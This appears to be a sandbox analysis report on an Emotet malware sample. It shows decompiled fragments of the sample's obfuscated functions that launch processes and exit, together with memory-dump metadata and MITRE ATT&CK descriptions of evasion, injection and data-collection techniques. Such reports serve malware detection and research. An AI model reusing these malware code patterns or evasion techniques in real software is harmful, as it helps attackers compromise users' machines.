				_v20 = _v20 ^ 0x5be1d11d;
				_v16 = 0x76217f;
				_v16 = _v16 >> 0x10;
				_v16 = _v16 | 0xe98780dc;
				_v16 = _v16 ^ 0xe98c1e91;
				_v12 = 0xeb975;
				_v12 = _v12 ^ 0xd8138edb;
				_v12 = _v12 | 0x0b4171d5;
				_v12 = _v12 ^ 0xdb5d9300;
				E02E6EB52(__ecx, __ecx, 0xb7160725, 0x75, 0xa2289af1);
				_t56 = CreateProcessW(_a52, _t60, 0, 0, _a24, 0, 0, 0, _a32, _a56); // executed
				return _t56;
			}

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APIs

CreateProcessW.KERNELBASE(?,2E751909,00000000,00000000,00534833,00000000,00000000,00000000,?,?), ref: 02E82D02

Strings

3HS, xrefs: 02E82C57

Memory Dump Source

Source File: 00000009.00000002.312633523.0000000002E61000.00000020.00000001.sdmp, Offset: 02E60000, based on PE: true

Associated: 00000009.00000002.312626227.0000000002E60000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.312674149.0000000002E86000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e60000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 3HS
API String ID: 963392458-330188696
Opcode ID: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction ID: 5983ff785b0a203a326d5ba94ea331385cb617e78e1f92f1cc9708b25801a5b0
Opcode Fuzzy Hash: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction Fuzzy Hash: 4A21F372800248BBCF159F96DC0ACDFBFB9EF85740F108188F915A2220C3B58A24DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02E7D11A, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E02E7D11A() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t39;

				_v24 = _v24 & 0x00000000;
				_v36 = 0x78f5c7;
				_v32 = 0xa12bb9;
				_v28 = 0x4eca09;
				_v8 = 0x8b256f;
				_v8 = _v8 << 0xb;
				_v8 = _v8 ^ 0x4a7d0011;
				_v8 = _v8 >> 9;
				_v8 = _v8 ^ 0x00073d60;
				_v20 = 0x1e549a;
				_v20 = _v20 + 0xffffad33;
				_v20 = _v20 ^ 0x00134b4f;
				_v16 = 0x8dd9dd;
				_v16 = _v16 << 3;
				_v16 = _v16 ^ 0x0460bc3c;
				_v12 = 0x358059;
				_v12 = _v12 + 0xb97b;
				_v12 = _v12 ^ 0x003502df;
				E02E6EB52(_t39, _t39, 0x83891850, 0x1c, 0xa2289af1);
				ExitProcess(0);
			}

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APIs

ExitProcess.KERNEL32(00000000), ref: 02E7D1B6

Memory Dump Source

Source File: 00000009.00000002.312633523.0000000002E61000.00000020.00000001.sdmp, Offset: 02E60000, based on PE: true

Associated: 00000009.00000002.312626227.0000000002E60000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.312674149.0000000002E86000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e60000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction ID: b9ee1325d8b3128547dcce02e2be54f80787113d3f29d3b78e80a4cf62f75a80
Opcode Fuzzy Hash: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction Fuzzy Hash: 211100B1C4030DEBDB54DFE5D94AA9EBBB0EB00748F108588D521B6240D3B89A489F90

Uniqueness

Uniqueness Score: -1.00%

Function 02E8061D, Relevance: 1.3, APIs: 1, Instructions: 52
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E02E8061D(void* __ecx, WCHAR* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t44;
				int _t53;
				WCHAR* _t56;

				_push(_a12);
				_t56 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E02E7FE29(_t44);
				_v24 = _v24 & 0x00000000;
				_v28 = 0xcd60b7;
				_v12 = 0x7257ab;
				_v12 = _v12 << 0xd;
				_v12 = _v12 + 0x8f69;
				_v12 = _v12 * 0x4c;
				_v12 = _v12 ^ 0x410f7a13;
				_v8 = 0x7b4696;
				_v8 = _v8 + 0xffff4950;
				_v8 = _v8 | 0x2a0f624b;
				_v8 = _v8 * 0x3a;
				_v8 = _v8 ^ 0xa0f3ec54;
				_v20 = 0x8a2161;
				_v20 = _v20 + 0xffff45ea;
				_v20 = _v20 ^ 0x1b6c7fa6;
				_v20 = _v20 ^ 0x1be8dede;
				_v16 = 0xdcc12a;
				_v16 = _v16 + 0xb9f4;
				_v16 = _v16 + 0xffffcfef;
				_v16 = _v16 ^ 0x00d9de04;
				E02E6EB52(__ecx, __ecx, 0xb7861dce, 0x3e, 0xa2289af1);
				_t53 = lstrcmpiW(_a4, _t56); // executed
				return _t53;
			}

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APIs

lstrcmpiW.KERNELBASE(410F7A13,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 02E806E5

Memory Dump Source

Source File: 00000009.00000002.312633523.0000000002E61000.00000020.00000001.sdmp, Offset: 02E60000, based on PE: true

Associated: 00000009.00000002.312626227.0000000002E60000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.312674149.0000000002E86000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e60000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction ID: 86b8ce56682baacabdfa2d3110a1fe4872cf4791e8014066b03fbabb43679394
Opcode Fuzzy Hash: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction Fuzzy Hash: 172110B1C0130AABCF14DFA9D9899DEBFB5FB20354F108298E529A7251D3B48B04CF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report pugKLanrj3

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Function 10002900, Relevance: 22.8, APIs: 15, Instructions: 331
COMMONLIBRARYCODE

Function 100088E0, Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 131
memoryCOMMONLIBRARYCODE

Function 10013A9B, Relevance: 16.6, APIs: 11, Instructions: 103
memoryCOMMONLIBRARYCODE

Function 10016380, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Function 100021D0, Relevance: 3.1, APIs: 2, Instructions: 98
COMMONLIBRARYCODE

Function 1001A305, Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMONLIBRARYCODE

Function 10002010, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMONLIBRARYCODE

Function 10008860, Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre